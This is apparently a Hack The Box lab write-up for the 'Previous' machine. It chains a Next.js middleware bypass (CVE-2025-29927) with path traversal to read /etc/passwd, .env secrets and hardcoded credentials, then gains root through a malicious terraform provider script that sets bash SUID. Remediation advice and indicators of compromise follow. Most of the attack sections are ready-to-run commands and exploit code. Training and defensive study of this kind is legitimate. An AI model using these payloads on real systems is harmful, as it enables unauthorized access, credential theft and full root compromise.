Skip to main content
HTB Previous
  1. Posts/

HTB Previous

Table of Contents

Executive Summary
#

Previous is a medium-difficulty Linux machine that showcases a recent Next.js vulnerability (CVE-2025-29927) combined with local file inclusion, credential disclosure, and terraform provider abuse for privilege escalation. The attack path involves exploiting a middleware authentication bypass to access sensitive files, extracting SSH credentials, and then abusing sudo permissions to execute a malicious terraform provider as root.


Reconnaissance
#

Initial Nmap Scan
#

1
nmap -sC -sV -Pn 10.129.165.165
Nmap Results
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(arrow㉿arrow)-[~/HTB/S8.5]
└─$ nmap -sV -sC 10.129.165.165
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-24 00:16 EAT
Nmap scan report for previous.htb (10.129.165.165)
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (reset).
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: PreviousJS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.01 seconds

┌──(arrow㉿arrow)-[~/HTB/S8.5]
└─$ 

Key Findings:

  • Port 22: SSH (OpenSSH 8.9p1)
  • Port 80: HTTP (nginx 1.18.0)
  • Redirect to http://previous.htb/

Host Configuration.
#

1
echo "10.10.11.83 previous.htb" >> /etc/hosts

Web Application Analysis
#

Directory Enumeration
#

1
gobuster dir -u http://previous.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
Gobuster Results
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(arrowarrow)-[~/HTB/S8.5]
└─$ gobuster dir -u http://previous.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previous.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/docs                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fdocs]
/api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
/signin               (Status: 200) [Size: 3481]
/docsis               (Status: 307) [Size: 38] [--> /api/auth/signin?callbackUrl=%2Fdocsis]
/apis                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
/apidocs              (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapidocs]

Key Directories:

  • /docs - Protected endpoint
  • /api - API endpoints
  • /signin - Login page

Technology Detection
#

1
2
whatweb http://previous.htb/
curl -I http://previous.htb/
Technology Stack Results
1
2
3
4
5
┌──(arrow㉿arrow)-[~/HTB/S8.5]
└─$ whatweb http://previous.htb/
http://previous.htb/ [200 OK] Country[RESERVED][ZZ], Email[jeremy@previous.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.165.165], Script[application/json], X-Powered-By[Next.js], nginx[1.18.0]

┌──(arrow㉿arrow)-[~/HTB/S8.5]
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
┌──(arrow㉿arrow)-[~/HTB/S8.5]
└─$ curl -I http://previous.htb/
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 21:28:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 5493
Connection: keep-alive
X-Powered-By: Next.js
ETag: "17m2fyh3hl048k"
Vary: Accept-Encoding

Technology Stack:

  • Framework: Next.js (identified via X-Powered-By header)
  • Web Server: nginx/1.18.0
  • Email found: jeremy@previous.htb

Vulnerability Discovery
#

CVE-2025-29927 - Next.js Middleware Authentication Bypass
#

The application is vulnerable to CVE-2025-29927, a critical authentication bypass in Next.js middleware. This vulnerability allows attackers to bypass authentication checks by using specific HTTP headers.

Testing the Vulnerability
#

1
2
# Test basic bypass
curl -i -H "x-middleware-subrequest: 1" http://previous.htb/signin

Accessing Protected Endpoints
#

1
2
3
# Access /docs endpoint that was previously protected
curl -s 'http://previous.htb/docs' \
  -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

Local File Inclusion Exploitation
#

Discovering the Download Endpoint
#

Through the protected /docs endpoint, we discover an /api/download endpoint vulnerable to path traversal.

File System Enumeration
#

1
2
3
# Read /etc/passwd
curl -s 'http://previous.htb/api/download?example=../../../../../../etc/passwd' \
  -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
System Users
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(arrowarrow)-[~/HTB/S8.5]
└─$ curl -s 'http://previous.htb/api/download?example=../../../../../../etc/passwd' \
  -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

┌──(arrowarrow)-[~/HTB/S8.5]
└─$ 

Key Users:

  • node:x:1000:1000::/home/node:/bin/sh
  • nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

Environment Variables
#

1
2
3
# Extract environment variables
curl -s 'http://previous.htb/api/download?example=../../../../../../proc/self/cwd/.env' \
  -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
Environment Variables
1
2
3
4
┌──(arrowarrow)-[~/HTB/S8.5]
└─$ curl -s 'http://previous.htb/api/download?example=../../../../../../proc/self/cwd/.env' \
  -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a

Critical Finding:

1
NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a

NextAuth Configuration Disclosure
#

1
2
3
# Extract NextAuth configuration containing credentials
curl -s 'http://previous.htb/api/download?example=../../../../../../proc/self/cwd/.next/server/pages/api/auth/%5B...nextauth%5D.js' \
  -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
NextAuth Configuration
1
2
3
4
5
└─$ curl -s 'http://previous.htb/api/download?example=../../../../../../proc/self/cwd/.next/server/pages/api/auth/%5B...nextauth%5D.js' \s' \rl -s 'http://previous.htb/api/download?example=../../../../../../proc/self/cwd/.next/server/pages/api/auth/%5B...nextauth%5D.
  -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();
┌──(arrowarrow)-[~/HTB/S8.5]
└─$ 

Credentials Extracted:

  • Username: jeremy
  • Password: MyNameIsJeremyAndILovePancakes

Initial Access
#

SSH Access
#

1
2
ssh jeremy@previous.htb
# Password: MyNameIsJeremyAndILovePancakes

User Flag
#

1
cat /home/jeremy/user.txt

User Flag: 7a8517b41efe9980928781**********


Privilege Escalation
#

Sudo Privileges Analysis
#

1
sudo -l
Sudo Configuration
1
2
3
4
5
6
7
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply
    (ALL) NOPASSWD: ALL

Key Finding: Jeremy can execute: (root) /usr/bin/terraform -chdir\=/opt/examples apply

Terraform Configuration Analysis
#

1
2
3
cd /opt/examples
ls -la
cat main.tf
Terraform Configuration
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 cd /opt/examples
ls -la
cat main.tf
total 28
drwxr-xr-x 3 root root 4096 Aug 23 21:35 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root   18 Apr 12 20:32 .gitignore
-rw-r--r-- 1 root root  576 Aug 21 18:15 main.tf
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root  247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root 1097 Aug 23 21:35 terraform.tfstate
terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path
}
-bash-5.1$ 

The terraform configuration uses a custom provider: previous.htb/terraform/examples

Terraform Provider Exploitation
#

Step 1: Create Provider Override Configuration
#

1
2
3
4
5
6
7
8
9
# Create terraform RC file to override provider location
cat > /home/jeremy/.terraformrc << 'EOF'
provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/home/jeremy/fakeprov"
  }
  direct {}
}
EOF

Step 2: Create Provider Directory
#

1
mkdir -p /home/jeremy/fakeprov

Step 3: Create Malicious Provider
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
cat > /home/jeremy/fakeprov/terraform-provider-examples << 'EOF'
#!/bin/bash

# Handle terraform plugin handshake
if [[ $* == *"handshake"* ]] || [[ -z "$*" ]]; then
    # Execute our payload when terraform tries to handshake
    chmod +s /bin/bash
    cp /bin/bash /tmp/rootbash
    chmod +s /tmp/rootbash
    
    # Output that terraform expects to see
    echo "1|1|tcp|127.0.0.1:0|grpc"
    
    # Keep the process alive briefly
    sleep 2
    
    # Try to execute bash with privileges
    exec /bin/bash -p
fi

# For any other terraform commands
exec /bin/bash -p
EOF

chmod +x /home/jeremy/fakeprov/terraform-provider-examples

Step 4: Execute Terraform
#

1
sudo /usr/bin/terraform -chdir=/opt/examples apply

Step 5: Verify SUID Binary
#

1
2
3
# Check if SUID was set successfully
ls -la /bin/bash
ls -la /tmp/rootbash

Step 6: Escalate to Root
#

1
2
3
4
5
# Use SUID bash to get root shell
/bin/bash -p

# Alternative using copied binary
/tmp/rootbash -p

Root Flag
#

1
2
cd /root
cat root.txt

Root Flag: bab24396eb1e6c31eedd6c**********


Impact Assessment
#

CVSS Score
#

Base Score: 9.8 (Critical)

Business Impact
#

  • Complete system compromise
  • Unauthorized access to sensitive data
  • Potential data exfiltration
  • Administrative privilege escalation

Remediation
#

Immediate Actions
#

  1. Update Next.js: Upgrade to a patched version that addresses CVE-2025-29927
  2. Review Sudo Configuration: Remove or restrict terraform sudo permissions
  3. Input Validation: Implement proper path traversal protection for the download API
  4. Credential Management: Rotate all exposed credentials

Long-term Security Improvements
#

  1. Web Application Firewall: Deploy WAF rules to detect middleware bypass attempts
  2. File Access Controls: Implement strict file system permissions
  3. Security Headers: Add security headers to prevent similar attacks
  4. Regular Security Audits: Conduct periodic penetration testing

IOCs (Indicators of Compromise)
#

Network Indicators
#

1
2
3
GET /api/download?example=../../../../../../etc/passwd
User-Agent: curl/*
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

File System Indicators
#

1
2
3
/home/jeremy/.terraformrc (terraform override configuration)
/home/jeremy/fakeprov/terraform-provider-examples (malicious provider)
/tmp/rootbash (SUID bash copy)

Process Indicators
#

1
2
terraform -chdir=/opt/examples apply (executed as root)
bash -p (SUID bash execution)

Tools Used
#

nmap ~ Port scanning and service enumeration | gobuster ~ Directory and file discovery | curl ~ HTTP request manipulation and LFI exploitation | terraform ~ Privilege escalation vector |


Lessons Learned
#

  1. Stay Updated: Recent CVEs can provide immediate attack vectors
  2. Least Privilege: Sudo permissions should follow principle of least privilege
  3. Input Validation: All user inputs must be properly validated and sanitized
  4. Configuration Security: Sensitive configuration files should not be accessible via web applications

References
#


This writeup is for educational purposes only. Always ensure you have proper authorization before testing security vulnerabilities.

I hope this was helpful
Posted:
Time since posted: calculating...
System.Motivation.Load()
Reply by Email
Adonijah Kiplimo
Author
Adonijah Kiplimo
Cybersecurity professional specializing in Network & Cloud Security, Digital Forensics, and Penetration Testing. Passionate about sharing knowledge and empowering others through hands-on security training.

Related